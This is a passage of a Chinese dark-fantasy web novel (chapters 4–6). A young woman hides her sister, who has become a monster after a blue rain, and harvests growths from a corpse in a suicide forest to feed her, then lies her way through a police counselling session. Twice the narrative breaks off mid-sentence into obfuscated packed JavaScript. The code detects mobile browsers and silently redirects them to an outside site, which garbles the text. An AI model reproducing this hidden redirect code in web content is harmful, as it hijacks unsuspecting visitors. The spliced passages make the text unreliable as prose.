向烛深吸一口气,抬起头。她抹掉眼泪,找了沓空白的草稿纸写写划划,这是她用来冷静思考的方法。 她在纸上仔细规划生活,肚子饿了就吃买回来的卤菜,一直思考到零点,累得直接趴在桌上睡着了。 亮白的灯光下,向灯的身躯渐渐渗透过绿色的丝带。 向烛早上是惊醒的,顾不上酸痛的胳膊、脖子以及发痒的喉咙,她看向那张椅子,椅子上只剩一条绿丝带。 向烛急忙站起身,腿踢到桌子,桌面上写了一晚的纸张们飞散,落了一地。 一道黑白的身影蹿出来扑住纸,然后警惕得竖起耳朵,瞪大眼睛看向沙发。它浑身炸毛,还低声嘶吼,最后跑回向烛的房间。 向烛转头看向沙发,沙发侧边躺着一个蓝红色的“干尸”。 像充气玩偶漏气变扁一样,蓝中带着暗红色的“皮”紧贴在内里的人体。向灯蜷缩着身体,就像“睡”在那里一样。 这样异常的状态揪紧了向烛的心,她冲上前,“姐?灯姐?” 奇怪……雨人睡着了不是变透明吗?是生病了吗?雨人也会生病? 半透明的皮下露出模糊的、令人熟悉的模样:细弯的眉,俏丽的鼻,巴掌大的瓜子脸……向烛清晰地看到了灯姐,确确实实是她的灯姐。 “干尸”突然动了一下,蓝色的液体又充盈她整个身躯了,体内仍然飘动着丝丝缕缕的暗红色。 灯姐直立起身,开始往门口移动。 向烛终于明白过来,灯姐是饿了。饿成这样居然也没袭击她…… 她爬起来冲到向灯面前,展臂一挡,“不能出去!” 向灯停住脚,脸仍然朝着门。 “你在家里等我,我去给你找,你能明白吗?”向烛指了指她后面,一字一顿道:“在、家、等、我。” 也不知是听懂了还是没听懂,向灯没再往前,她开始向下瘫软,坐了下去。 再纠结姐姐就要饿死了。 向烛收拾好东西,然后去衣柜里拿了灯姐黑色的夹克、骷髅T恤,再穿上自己压箱底的黑色包臀裙,套上保暖袜。 向烛给自己烫了贵宾狗一样的卷发,还画了很浓的妆,假睫毛粘得她眼睛都有点睁不开。这暗黑系的模样,任谁擦肩而过都不会认出是向烛。 向烛的脑子很乱,但她努力清空,只留下“给灯姐找吃的”一件事,什么也不去多想。她进屋里抓到粮长,取下它的猫牌,又将猫牌牢牢缠绑在灯姐手腕上,然后打开手机里的宠物定位,背上背包出门。 4. 第 4 章 今天天气很好,晴空万里,暖意洋洋,从公交车窗外吹来的风里有月季花的香气。 趁着红灯,彭大庆一只手离开方向盘,拿起装茶水的大塑料瓶喝了一口,余光瞥到右边那个打扮突出的小姑娘。 她已经在车上坐了一个多小时,中间让了两次座,从一排的最右边移动到了最左边。 小姑娘两只耳朵都塞着耳机,脊背微弯,眼神空茫地望着正前方的车玻璃,仿佛灵魂已经离开这副躯壳。 咚地一声锣响,她毫无反应。彭大庆将车熄火,抻了抻腰杆。 清雨队的人在前面的街巷搜找到了雨人,正在进行消灭。 他今天已经因为这个原因停过三次车了。 蓝雨刚结束的几天后都是这样,清雨队的人会四处搜找雨人并进行消杀。 等了十几分钟,锣又响了一次,彭大庆将车子启动。 这辆车是从中心城区开往边缘区的,再加上现在是大中午,开得越远,车上人越少。 几个站过去,车上就剩向烛一人了。距离目的地还有整整六个站…… 向烛如坐针毡。 人多的时候坐最前面也没什么,可现在车上没人,坐在这里离司机近,有点尴尬,但向烛也不好意思挪到后面去坐。 紧张和长时间的乘坐让她晕车了,胃有点难受。向烛将身后的车窗推到最大,卷茸茸的头发被风拉直了往后吹,在下一个转角时又因为风向转变弹回来。 向烛本打算在繁光林前一站下车,但现在车上空无一人,她怕司机留意到她会担心她,于是提前两个站走到扶杆旁,按动下车铃。 尽管车上只有她一个人,向烛还是老老实实从后车门下。 车门砰地打开,向烛刚迈下去就听到司机大叔放大声音,故作轻松地说道:“熬着熬着日子就好了!” 已经落地的向烛看着远去的公交车发愣,心口翻涌着酸涩的波浪。 即使提前两个站下,这里仍然是繁光林附近,通往许多走投无路之人选择的最终归属。 向烛心情有些沉重。 她的勇敢无畏在这一个多小时的沉静中被磨平了许多。向烛本就是个很缺少勇气的人,但她可以为了姐姐,把小小的勇气拉长、拉宽,罩住对前路的惶恐。 只要坚持下去,只要最终能有一个美好的结果,中间经历的这些都不重要不是吗? 她只能这样一遍又一遍地安慰自己。 向烛打开手机上的定位检查,确认姐姐还在原地稍微安心了些,接着便打开地图,导航到繁光林——她要去捡骸生物了。 不是蘑菇,是骸生物,是从曾经鲜活的生命体上长出的东西。 向烛挥走脑中悲观恐惧的想法,她应该唯物一点,人死了就是死了,生前和死后不能混淆。 她扫了辆单车,将包放在车筐里,一路往坡上蹬,骑了半个多小时抵达繁光林。 遮天的绿叶震撼了她。 向烛只在各种新闻中看过繁光林的照片,亲身走进来才知道这些树木的高大、茂密。 她把单车藏在草丛里,打开手机上的指南针,准备一路往南直线走。她相信这么长的路径,总能找到的。 向烛给自己喷了两圈驱虫喷雾。 林子里乱草乱叶很多,掩住了曾经的小路们,偶尔还有动物粪便突然冒出。 向烛在繁光林的每一步都走得很谨慎,走得很轻。爬完坡下坡,下了坡又爬坡,搜找二十多分钟后,她遇到了第一具尸体。 向烛第一眼没看出那是具尸体。骷髅架子和枯草堆混在一起,她踩到人家的大腿骨扭了一脚才看到旁边垂下去的骷髅头。 骷髅上只有一些暗蓝色的灰,没有骸生物。 她吓得跳起来,连忙往后退去,两手紧紧攥在一起在心中默默道歉。 向烛往旁绕开,继续往前走,不久又遇到一具腐烂严重的尸体,浓烈的腥臭味差点让她吐了出来,她捂着鼻子快步走开,下定决心还是得去买个防臭面罩。 等稍微能适应一点后,她屏住呼吸去检查尸体上有没有骸生物。看到上面蠕动的蛆虫和蚊蝇,向烛胃中翻涌。她努力去忽视,可盯得越久,景象越深刻,那些虫子似乎变得越来越大。 向烛跑到一边去大喘气。来回折腾了好几次,最终还是没找到一点“活着的”骸生物。 她又走了很久,依然没有收获。 向烛小腿发酸,找了块石头准备坐下敲敲腿,屁股刚沾到石面,整个人就掉了下去。落叶掩映下是一个小坡,向烛滚了几圈滚到一处平地。 昨天的旧伤被扯动,她疼得眼睛鼻子皱在一起。 向烛扶着胳膊肘,抬头环顾四周,确认无人再撑起身体站起来。 稍微等一会儿后,她能适应身上的酸疼了,抬手拍掉身上的枯草烂叶。 春日温暖的风拂来,树叶沙沙作响。 向烛滚到了一棵参天大树下,林荫将她整个人遮蔽。 她转身抬头看去,枝干虬曲着向天空伸展,透明中带着光点的新绿下悬了两条褐色的麻布,一双腿在风中晃荡。 向烛倒吸一口气,紧紧地盯着——那看起来是个男人,灰蓝色的腐藤几乎将他的身体全部缠裹起来。 尸体没有腐败,也没什么明显的臭味,应该是这两天死的,昨天一淋蓝雨就长出了骸生物。 向烛运气很好,可是却高兴不起来。 男人脚下有块大石头,她踩上去准备抱住他双腿,手掌碰到黏腻湿滑的腐藤颤了一下。 男人很瘦小,甚至比处于女性平均身高的向烛还要矮一点。 向烛将人举起托住,平稳放在地上。 等放下来后,向烛才从缭乱的藤条中看出这是一名三十岁左右的男人,他穿着单薄的白衬衫加黑色长裤。 除了腐藤,男人脖子、小臂、腹部都长了大大小小的息块。息块像一坨坨烂肉黏在上面,呈现不规则的椭圆状,正呼吸般一起一伏,连着里面的红血丝也跟着扩大、缩小。 向烛心口不适。她闭上眼睛,双手合十。 陌生的先生,对不起……你生前一定很艰辛,死后还要被我打扰,真的很对不起。但我姐就要饿死了。如果世上真的有地府,等我们在地下见面时你想怎么惩罚我都可以。对不起。 她睁开眼,从包里拿出小刀、剪刀、垃圾袋和黑色的塑料桶。塑料桶她专门买了密封性极好的,以防万一还在底部铺了一些香料包。 向烛戴上手套,举着剪刀跪到男人身边。 和普通的植物藤条不同,腐藤摸起来很厚实,有些像多肉,离近了能闻到淡淡的铁锈味。 其中细小的腐藤可以被直接剪断,切口处流下水一样的蓝色液体。粗的则剪了半天只有划痕,再加上腐藤表面黏滑,最后还是用小刀才割了下来。 她将腐藤捆好,放进垃圾袋中,又将滑溜黏糊的手套换下。 向烛看向涌动的息块,息块和皮肤是连在一起的,越看越恶心。 她深深吸了口气又从鼻中呼出,刀把上的手指攒紧,她将刀刃伸到息块下的连接处使力一割,暗红色粘稠的液体马上便流了出来。 向烛就在那滩血液中来回划动小刀。 即使隔着手套,她也感受到了底下肌肤的软,息块摸起来和肉也很像。 这和割人肉有什么区别? 还没到一分钟,向烛便控制不住,跑到一旁吐了起来。 喉咙倒涌出脏物,从胃部往上经过的每个地方都很痛,她的眼睛流下生理性的泪水。向烛吐到实在什么也吐不出来了才直起腰,她抬起胳臂上的衣物抹掉眼泪,回到男人身边继续。 她拧着眉头,嘴唇发白,迅速将息块割下,用垃圾袋包裹着放进小桶中,然后又硬着头皮连割了好几块。 有的息块有拳头那么大,有的只有蚕豆那么小;有的割两刀就能下来,有的割着割着就卡住了,看起来像血丝的东西其实很结实,紧紧连接着里外两端,向烛需要使劲剜到红丝底部将其切断才能把整个息块翘下来。这个动作很费力,向烛好几次差点划伤自己。 直到将桶装得满满当当,向烛终于能停手了。 向烛做事爱拖延,但在不得不下定决心后从不迟疑。一定要做的事就赶紧做。 灯姐以前常常说她是“不到黄河心不死”,一被逼上绝境动作就快了,三天就能写完暑假作业。 放最后一块时,有血从垃圾袋里流出来滴到向烛手腕上,她鸡皮疙瘩骤起,马上用纸巾将血擦去,可似乎总还能隐隐得看到血痕。 向烛别开眼。 将息块都割掉后,向烛才发现原来男人身上有很多伤疤,有的像是烟蒂烫伤的,有的像是用刀划的,正是这些伤口附近长出了息块。 向烛拿出包里的小铲子开始挖坑,将剩下的男人埋在大树旁。 除了刚开始的紧张惊惶,后面的每一步她都比想象中平静。向烛全神贯注地割藤挖肉,专心致志地挖坑,认真仔细地填埋、用树叶掩映。不是因为同情男人曝尸荒野,是怕他身上刀口的伤痕哪天会惹人怀疑。 向烛将最后一铲子落叶泼上去时,突然觉得自己有些可怕。 她没敢多想,迅速将手套脱下放进另一个垃圾袋里,又塞到包中,拉好拉链重新背上。 向烛看向埋得很自然的地面,心中默念:谢谢你。 她离开大树,一路快走。 穿梭在看似无人又可能有人的林中,紧张再度攀缘上身,向烛越走越快,心也越跳越快,她甚至开始有些分不清自己是在走路还是在做梦,一连走了几百米才冷静下来。 向烛两手抓住肩带,重新谨慎地行进。 “喂?”女人的声音从前面传来,向烛刹住脚,赶紧找了个草堆躲起来,把背包解下来放在地上。 “在练了,你别催……周一太早了吧?啊?周三也很够呛……喂,哪有一下子就能掌握好的?又不是特遣队那几个怪咖,学异能跟喝水一样顺利。”女人似乎在打电话,声音逐渐靠近,向烛压着包趴在地上。 声音的主人马上就出现了:一名四肢修长、皮肤黝黑、眼睛溜圆的女人举着手机走来,她神情烦躁,边走边往外踢石头,一头红发在阳光照耀下熠熠生辉,她套了一件灰蓝色的夹克衫,左胸口印了个“植”字,背面则是一把被开花的荆棘缠绕着的长剑。 是荒植事务所。 向烛以前收到过他们公司的传单,工作人员都是异能者,主营业务好像是解决雨人相关事件,还有安保之类的。 向烛将自己压得更低,只有两只眼睛越过草丛悄悄看她。 难道繁光林里现在有雨人吗? 红发女人停下脚,蹲下来点了根烟,“行了行了,别讨价还价了,下下周一才能上工,人家小姑娘现在好好的,学得又积极,逼太紧了万一异能失控怎么办?” 有脚步声跑近,女人转头看了一眼,继续回电话,“我继续训练,挂了啊,培训那边的活你就先交给其他人,拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045048|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”女人不顾对面直接挂断电话,掐掉只抽了两口的烟。 一个留着超短发的女生跑过来,“杨姐,是要回去了吗?” “臭丫头想得美,接着练。”杨晓月环顾四周,“那边也看腻了,初飞你在这里练好了。喏,”她指了下向烛的方向,“往那边。” 叶初飞乖巧地点点头,向烛在草丛中有些绝望。 她跟那两人离得实在太近了,移动肯定会被看见的。 向烛从裙兜里悄悄摸出手机,偏着脑袋瞟了一眼定位,姐姐仍然在家里。 虽然没出门是好事,但向烛看着那一动不动的图标,又开始担心灯姐是不是饿死过去了。 小径上,叶初飞已经摆好架势。她右手搭在左手上,往后一拉,凭空出现一把金色的弓,手一松,金色的箭嗖地飞出去,穿过林叶消失不见。 箭飞得太快,向烛什么也没看清,但她清楚看见了叶初飞手上的金弓出现又消失。 原来是异能者……用空气拉弓射箭,简直就像小时候看的动画片一样。 向烛突然想到,若她也有异能,是不是就能更好地隐藏姐姐了?只可惜她没有。 每一场蓝雨,向烛都按规定和要求认真躲避。以前如此,以后应该也是如此。毕竟万一没变异能者变雨人了,灯姐就无人照顾隐藏,他俩就真的要在黄泉相见了。 向烛不想将一切交给不确定的“运气”决断。 叶初飞又射了好几箭,有几箭射在树干上,多数都不知道飞向了哪里。 向烛听着脑袋上嗖嗖嗖的箭声,从一开始的紧张担心到麻木无奈。 怎么还没练完? 她不知道在脑海中问了多少遍。 碎石子硌着向烛的肉,又疼又痒,但她不敢动,努力转移注意力不去在意。 腿上传来麻麻痒痒的感觉,好像有什么多足的虫子爬了上来。 向烛脸色煞白。 虫子从腿转着圈往上爬,爬过丝袜,爬过外套,不往外偏偏往T恤里爬。温暖的肌肤触碰到冰凉,向烛整个人抖了一下。 蜈蚣吗?不对,感觉蛮小的,西瓜虫?好像又没那么短…… 向烛不愿多想,她甚至都不敢低头去看,也不敢随意动手拍死,最后干脆闭上眼,在脑中回忆和姐姐一起看喜剧电影的欢乐时光。 灯姐端着豆浆看,刚喝进嘴里就被剧情逗得呛了一下…… 叶初飞捏了捏酸软的胳膊,看向杨晓月,“杨姐,练不动了。” 杨晓月坐在地上,双腿盘起,两只手搭在两个膝盖上,“异能者就是给人苦干活的命。你这才几个小时就觉得累,以后怎么追雨人?而且你这个准头真是没眼看,再练会儿。” 叶初飞绝望委屈地叹了一声,向烛更绝望,她低下头,脑门抵在草地上,泥土和草的气息混在一起,叫人精神一点。 又煎熬了一个小时,杨晓月终于站起来了,她拍拍屁股,“行了,回去吧。” 叶初飞累得都高兴不动了,她甩甩两只胳膊,长吐一口气。 两人往回走。 向烛终于放下心,她又在原地趴了二十多分钟,确认没声音了才爬起来。 保持一个姿势太久,向烛的手肘都有点弯不回来了,又酸又软,她揉了好久才有力气将背包拿起来背上。 向烛腿麻,走起来一瘸一拐的,身上都是杂草枯叶,她也没有多的力气去拍打,只想先赶紧走出繁光林。待在繁光林里总让她内心不安。 向烛沿着小径走,面前突然出现一排高大的灌木丛。她拨开小径两边的灌木往前走,看见一片宽敞的黄土地。 四周围了破破烂烂的绿铁丝,倒在地面的铁牌上依稀可见“……明乐园”的字样。看起来像是以前要在这里建主题乐园但最后又废弃了的样子。 来的时候没见过这里,向烛有点迷路了。她方向感很差。 她打开手机上的指南针,准备一路向北先回到那条大马路再说。 “别动。”身后响起男人平冷的声音。 向烛一僵,手指还停留在主界面,准备打开宠物定位。 “双手举起,慢慢转过来。” 向烛听话照做,慢慢转过身去。 一名穿着靛蓝色背心的男人正举枪对着她,他鼻眉英挺,下颌线清晰,眼睛圆而有神,兼具硬朗和一种独特的亲和力。 男人上下打量狼狈的向烛,“到繁光林做什么?” 向烛从头到脚都变得像石头一样僵硬,她的好运似乎用完了。 “我……”她偏开视线,“我在找合适的地方。” 对面的男人当即领会。 这是他今天做任务途中见到的第三个来寻死的。 他一只手托着枪,腾出另一只手拿手机,“我是昭顺清雨支队第二小队的队长林才深,身份证号报一下。” 完了,向烛白伪装了。她忐忑羞耻地报出一串数字。 男人是来找逃跑的异能者的,信息网上显示她确实只是一名普通公民。他收好手机和枪,语气冷淡:“我送你去附近的调理室。” 向烛猛摇头,“不必了!我来了以后就想开了,我根本没有自杀的勇气。清雨员你忙你的,我马上就回家。” 他深邃的眼睛垂望着她,“没勇气不代表就消灭了念头。按队里规定,在繁光林发现的自杀未遂者都要去。走吧。” 规矩一拿出来,向烛就没办法了。她背着刚切下来没多久的骸生物,被送到了派出所。 5. 第 5 章 “林队从繁光林送来的人是吧?” 坐在大厅椅子上的向烛抬起头,看向走到面前的年轻男警官,他手里拿着一个褐色的本子和一支笔,“身份证给我一下。” 向烛从手机壳后面抠出身份证递过去,眉头拧在一起小声道:“请问这会留案底吗?” 接过身份证在本子上急速抄写的男警笑了一声,“不会,就是做个办案记录。好了。” 向烛两手接下身份证,塞回手机背面,“谢谢。” 与看起来的乖张不同,她很有礼貌,说话声音很轻。看她头发乱糟糟、外套上还有泥巴痕,男警生出一丝同情之心,声音温和了些:“调理室里还有人,你在这里等一下,好了我来叫你。” “好,谢谢。” 他指了下角落,“那边有饮水机和纸杯。” “谢谢。” 警官看她背着包,好心伸出手,“我帮你放那边寄存柜吧?” 向烛脊背立直,“不用了,谢谢。里面有我工作的笔记本,我背着比较安心。” 警官点点头,转身离开。 大厅里有男人和女人争吵的声音,小孩啼哭的声音……向烛却什么也听不见。 向烛走在理智的钢丝线上,马上就要掉下去了。刚才和警官对话时都有点恍惚。 脑海中闪现无数个有人撞掉她的背包,东西掉出来,然后她被当场羁押的画面,尽管她此刻正乖乖坐着。 也许是她看起来实在太过忧虑愁苦,路过的女警好心递了杯温水给她。 暖热的水入喉,向烛胃里、心里都好受许多,也平静许多。 向烛刚进派出所时真的有些崩溃,毕竟她顶着真实身份留下了进过繁光林的记录。 但她坐在大厅一会儿后又想通了,只要没人怀疑灯姐被她养在家里,那她干这些事情就都不奇怪。 向烛甚至想好了一个极佳的借口,她不是去自杀,其实是去找失踪的姐姐。 她一想出这个借口就去跟接待处的警官说了,但对方还是坚持要她进调理室聊一下再说,顺便给了她一张失踪申报表。 “如果真的失踪48小时以上了,你填好这个去居住地派出所。”警官这样对她说。 向烛只能硬着头皮继续等。 她的背包就像长了刺一样,坐在这里的时间越久,上面的刺就越长,慢慢扎进她的骨肉,叫她疼痛。 向烛很紧张,但她说服自己不紧张:现在没有任何人怀疑她,她就是一个普通的民众。精神绷得太紧很可能叫人怀疑……而且如果真的暴露了,又能怎么办呢?大不了她和姐姐一起死就是,也不会孤独。 向烛啊向烛,难道你是个害怕死亡的人吗? 她闭上眼,叩问自己。 即使心还跳得很快,她的面容已经平静下来,只略微还有些拘谨的感觉,而这样的拘谨在派出所随处可见。 十几分钟后,先前的男警察又过来了,向烛直接站起身。 “这边。” 向烛点点头,两手攥紧肩带跟上去。 看着向烛走进去,外面大厅的警察回头和同事聊:“现在进繁光林的人是越来越年轻了。” “没办法,日子确实很难过。雨人就算了,昨天还有红级的异能者从监管处逃跑,林队他们从晚上找到现在还没找到。” “没完没了啊。感觉这五年跟穿进了什么末世文一样的,事真多。” …… 向烛看向调理室开了条缝的门,抬手轻敲两下。 “直接进来就好。”女人轻笑的声音传来。 向烛走进房间,靠墙的位置侧坐着一名五官柔和的女性,桌面摆着电脑和绿植,还有许多书籍整齐地码放在一边。 女人面向她,扬起亲和的笑,眼角折出细小的纹,“你好,我叫刘玉人,这边坐。”她伸手引向桌子对面的沙发。 刘玉人的目光追随着慢慢坐下的向烛,“你叫向烛对吗?” 向烛的屁股只落在沙发上一半,她坐得笔直,“是的。” “很有画面感的名字。”刘玉人笑着道。 她说话很温柔,向烛心虚得两手攥紧,“谢谢。” 刘玉人笑意加深,又很快正经起来,“小姑娘你是生活上遇到什么困难了吗?” 她这个年纪还被叫小姑娘,向烛有些不好意思。她咽了下口水,拿出准备好的说辞:“其实我没想自杀,是那位林队长误会了。我姐前天突然失踪,我就想她是不是跑到繁光林来了,所以过来找她。” 她说得很自然,可对着好人撒谎还是让向烛没忍住羞愧地低下了头。 刘玉人沉默了一会儿,说道:“你姐姐失踪,你怎么会第一反应觉得是去繁光林了?你们是发生什么了吗?” 向烛愣住,她设想的回答里没有这个,反应慢了半拍,“……我姐以前偶尔会说觉得自己要消失了,兴许工作压力很大吧。” 刘玉人表示理解地点了点头,“那你报案了吗?” “还没,我想先自己找找看。” 刘玉人浅笑,“你真是独立自强。不过要是遇到太棘手的问题,找人帮帮忙也没什么,毕竟现在正是要大家携手共渡难关的时候。” “……是的。” 刘玉人:“这几年大家的生活节奏都被打乱了。你看我,其实我以前在前线的,后来和雨人打,腿坏了被调到这里,平时就和大家聊聊天,日子也很有意思。有时一些意外也能带来新风景。” 真是个乐观善良的人。 向烛的愧疚之心叠加了,神情愁苦起来。刘玉人误会了,温柔地安慰她:“心里有什么难过的直接说吧,没关系的。” 也许是因为刘玉人真的太过温柔,又也许是因为这一路走来她太累了,向烛心口涌起一种浓烈的情绪,她下意识答道:“我觉得自己太弱小了……” 话刚说出口,鼻子发酸,向烛突然有想哭的冲动。 “为什么这么说?” 她低头看着自己的左手,腕节曾经沾血的地方依稀浮现出那种可怖的红痕,向烛伸出右手的大拇指摩挲,“我是我姐带大的,以前就总是要她照顾我,现在想帮她,能做的事情却很有限。我想变得更勇敢、更努力,可我又很懒惰、胆小、任性,还爱哭脆弱……我总是改不掉……如果我姐的妹妹不是我就好了……” 如果是像那位叫初飞的小姑娘一样会异能的妹妹,或者是像那个林队长一样可靠强大的……灯姐应该都会过得更好吧? 刘玉人望着她,“我听得出来你是个很负责任的人。有你这样在乎亲情的家人,谁都会觉得很幸福的。而且哪个人没有缺点?在现在这样的世界里,还能用心想去关怀、照顾别人,是一件很了不得的事。真的。” 她要是真有这么了不得就好了。 向烛心中不认可,表面还是点点头,“谢谢,您太会夸人了。” 说完以后心情确实稍微平复了些。怕待久了多说多错,向烛想赶紧离开。 她低头看了一眼手表,“抱歉,我得赶紧回家了,晚上还要给老板发PPT。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045049|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘玉人含笑点点头,“好,那以后要是心里有什么不舒服的,你可以打电话,或者发邮件过来都行,我一直等人跟我聊天呢。” 向烛暗舒一口气,“好,谢谢。”她纠结了下,加了句“拜拜”。 向烛背着包,尽量平稳、平和地往外走去。 终于完全走出派出所时,向烛觉得自己像是结束了一场漫长的马拉松,浑身乏力,肚子也很饿。她出门前只吃了昨天剩的卤菜。 她在门口打车回家。 坐在车上时,向烛打开定位一直盯着看。姐姐的定位依然显示在原地,动也没动。 不仅不吃她,居然还这么听话…… 司机车子开得稳当,向烛的眼皮开始变得沉重,最终还是没能抵住,靠着后背睡着了,抵达目的地时司机将她叫醒。 原本蓬乱的头发更乱了,像杂草一样往各个方向长。 向烛关上车门,又打开手机重新进入宠物照顾APP,那个白色的小圆点仍然显示在绿色的安全区内,灯姐还在家里,甚至和她在车上看时是同一个位置。 是像早上一样躺在原地没动了吗?还是饿昏过去了? 向烛焦虑起来。 看不见实在让人焦心……要不她也去买个摄像头?放在家里就自己看应该不会暴露什么,可万一有人捡到她手机刚好点开看…… 向烛在忧心忡忡中回到了家。她关上门,感觉恍如隔世,放松的同时,脚掌的酸疼也慢慢涌上来。 “喵~”粮长奔到鞋柜上喵喵叫,两只手乖巧地放在脚前。 向烛浅浅一笑,用手抚过它柔软的脑袋,“肯出来啦?想我了吗?”她脱下背包,低下身换鞋,“姐,我回来了。” 即使姐姐不会再回答她,向烛还是习惯性地问候。 她看向客厅,白净的地板上只剩刻着粮长名字的名牌。 逃走了? 向烛心一颤,她往灯姐的卧室走去,“姐?灯姐?我给你带饭回来了。” 向烛趴到床底,又摸过衣柜后面的缝隙……仔仔细细将两间卧室、客厅、厨房、卫生间翻了个遍,就是找不到一点蓝色的痕迹。 她走到阳台,阳台从左到右摆满了大大小小、高高低低的盆栽,黑色的栏杆上攀缘了一大片绿色,风车样的五角小白花缀满其间,正对着栏杆外绽放。 向烛开始翻花盆底。过度紧张的脑袋让她已经顾不上思考合不合理,但凡有缝的地方她都下意识翻一下。蹲在茉莉花盆旁边时,向烛从栏杆间往外瞥到熟悉的蓝色。 她的体积比原来小了数倍,像一滩蓝中带红的泥巴打在旁边卧室的外墙上,正缓慢往邻居家的方向蠕动。 向烛的头又开始疼了,她站起身,双手撑住栏杆,往外探出半个身子,压着嗓子道:“姐!快回来!我找到吃的了。” 蓝色的软泥继续前行。 向烛的心咚咚狂跳。 万一死人了……都是她的错…… 她走到阳台最边缘,脚踩在栏杆缝隙间,拿着晾衣杆去够向灯,大半个身子都弯了出去,语声急切:“姐你听话,快回来!” 晾衣杆刚碰到灯姐的身体,她仿佛被吓到一般抖了一下,突然从墙面剥离下来,向烛伸出杆子赶紧接住,灯姐沉重地挂在杆子上,向烛失去平衡,整个人翻出去,手在慌乱中抓住了栏杆。下滑过程中她撸掉一串络石的绿叶和花,掌心火辣辣的。 灯姐紧紧裹在晾衣杆上。向烛悬在半空中,一手握着栏杆,一手拽着她,胳臂像快要脱臼般疼。 6. 第 6 章 手指被压变形,和栏杆紧贴的地方发白,凸出的络石花藤硌得掌肉难受。 向烛试着往上提了下身子,手马上就撑不住颤抖起来。她简直像在拍什么动作大片,只可惜主演不够强壮,能拉住灯姐还挂在这里已是极限。 脚下空无一物的感觉很怪异,很恐怖,向烛深吸一口气,更用力地攥紧栏杆,再低头去看团在晾衣杆上的灯姐,“姐!从我身上爬上去!” 看到脚下空荡荡的瞬间她就开始头晕了,整个人好像在飘晃一样,恐高的向烛将头猛抬上去。 灯姐这次终于老实听她话了,开始慢慢往上挪动。 冰凉的液体攀到腿上时,向烛打了个激灵。 向灯缓缓向上,向烛咬牙坚持,看到蓝中带红的身形挤过栏杆缝隙时,她心生喜悦,然而下一刻却看到灯姐就那样往前走去。 “姐!拉我上去!姐?”她仍然压着嗓子。 蓝红色的团块往外一挪一挪,完全消失在她眼前。 向烛挂在外面,另一只手也伸上去扒住栏杆,整个人斜歪着。现在比先前多了个支点,可她依然没有足够的力气将自己举上去。 灯姐居然将她丢下了…… 她嘴角一扁,委屈的眼泪划过脸颊,坠落下去。 灯姐真的还能变回来吗?这两天做的事情真的有意义吗?又是去捡尸块,又跟警察撒谎……以后说不定会坐牢,她的人生兴许会因为这样的选择结束,甚至马上就要结束了。 向烛的手臂僵直酸疼,手指更是又热又痛,大臂开始发软。 她要死了。 洁白的花朵在清风吹拂中抚过她的指节,柔软冰凉。 向烛看向风车样的小花。 这株络石花是向烛和向灯回老家玩时挖回来的野花。 姐妹二人从小跟着父母去了外省,多年来回去的次数屈指可数。向烛不想跟多嘴多舌的亲戚们寒暄,向灯就带她去山里闲逛,络石花就是在那里发现的。 向烛看到它缠在一棵枯掉的小树上,白色小花像星星一般缀满绿叶间,有种清新的漂亮。她指给向灯看,向灯就说要挖它回家。 明明网上买一棵就好,非要在山里挖,向烛不能理解,但还是陪着向灯小心翼翼刨了几个小时的土,将底下的根挖得很完整。两个人指甲缝里都是泥巴。 灯姐经常有这种“一时兴起”。向烛一般当时都不太能理解,许久之后再回忆时才觉得温馨快乐。正是这些“一时兴起”,让她这个无趣的人拥有了很多有趣的回忆。 向烛的人生规划里一直都有姐姐。在蓝雨降临以前,他们约定以后攒够钱就去山林里开间民宿,挣得少也没关系,重点是每天都可以在有花有草的地方散散步、喂喂蚊子。 蓝雨降临以后,两人的目标就变成了好好活着、安稳度日。 如果姐姐不在,一切才真的没有意义。 即使灯姐现在看起来是个冷漠的怪物,可体贴果敢的她还沉睡在里面不是吗? 向烛吸了下鼻子,稳住心神后又开始尝试:她猛提一口气,左手往上一抓,抓到了跟右手一样高的位置,身体更加平衡。 她的手又开始打颤,向烛咬紧牙关。 真的有点撑不住了…… 绿色的扫把棍突然伸递过来,向烛欣喜地看着棍尾处像史莱姆一样软塌的向灯。 “姐!” 灯姐用扫把棍轻轻敲了敲她的手,向烛愣了几秒才反应过来——灯姐在效仿自己刚才捞她的方法。 向烛:“我抓不住,姐你直接拉我上去。” 向灯松开手,扫把啪嗒掉在地上。她缓了缓,蓝红色的身躯中慢慢伸出一只骨节分明的手,指节之间黏连着,像青蛙的脚一样。 向灯抓住向烛的手臂,轻轻一提就将她拉了上去。 再次踩到地面,向烛大松一口气。她眼角发热,含着泪光靠在花盆上。 从没听说过雨人会救人,灯姐真的不一样,她还记得她…… 向烛眨眨眼,看着已无人形的向灯轻轻笑了。 只要姐姐还“活”在她身边就好。每个月都有人因为蓝雨失去亲属,甚至不得不亲自上报,眼看着亲人被杀灭。她已经很幸运了,不能再贪心,不然上天会将现在拥有的也收走。 “姐你很饿了吧?” 向烛扶着疼痛的右臂,颤巍巍地站起身,走回客厅。粮长一看到向灯就“嘶”了一声蹿走。 向烛打开背包,将腐藤摆在她面前,又端出桶推过去打开。 向灯缓缓立起身体的一部分,埋首进桶中吃了起来。光滑的面部中央出现一张巨大的嘴巴,尖利的牙齿啃咬息块,咀嚼吞咽,她身体中的红丝迅速褪去,全部转化为蓝色。 就像个怪物一样。 向烛移开视线,但姐姐啃食的模样仍然在脑海中挥之不去。她拿出手机,将预设的地点上报关掉。 灯姐吃了一半的息块就缩回去不动了,腐藤只少了几根。她完全瘫软在地,变成了一滩透明的水。 居然吃饱了就睡…… 